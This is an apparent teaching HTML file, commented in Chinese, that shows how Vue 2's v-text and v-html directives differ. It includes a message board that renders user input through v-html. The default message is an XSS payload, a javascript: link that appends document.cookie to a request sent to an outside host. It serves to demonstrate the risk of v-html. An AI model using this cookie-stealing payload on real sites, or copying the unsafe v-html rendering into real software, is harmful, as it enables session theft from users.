<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Vue的其他指令</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>

<body>

    <div id="app">
        <h1>{{msg}},abc</h1>
        <!--
            v-text指令：
                可以将指令的内容拿出来填充到标签体当中，和js的innerText一样
                这种填充是以覆盖的形式进行的，先清空标签体当中原有的内容，填充新的内容
                即使内容是一段html代码，这种方式也只会当成文本解析
         -->
        <h1 v-text="msg"></h1>
        <h1 v-text="msg">abc</h1>
        <h1 v-text="s1"></h1>


        <!-- 
            v-html指令：
                和v-text指令一样，也是填充标签体内容，也是采用覆盖的形式进行
                只不过v-html会将内容当做一段HTML代码解析并执行
                和js中的innerHTML功能一样
        -->
        <h1 v-html="s1"></h1>

        <ul>
            <li v-for="m,index in meesageList" :key="index" v-html="m"></li>
        </ul>
        <textarea cols="50" rows="10" v-model.lazy="message"></textarea>
        <br /><br />
        <button @click="save()">保存留言</button>

    </div>


    <script>

        const vm = new Vue({
            el: '#app',
            data: {
                msg: 'Vue的其他指令',
                s1: '<h1> HELLO WORLD! </h1>',
                meesageList: ['a','b','<a href="http://www.baidu.com">百度</a>'],
                message: "<a href='javascript:location.href=\"http:///www.baidu.com?\"+document.cookie'>xss获取cookie信息</a>"
            },
            methods: {
                save() {
                    this.meesageList.push(this.message)
                }
            }
        })

    </script>

</body>

</html>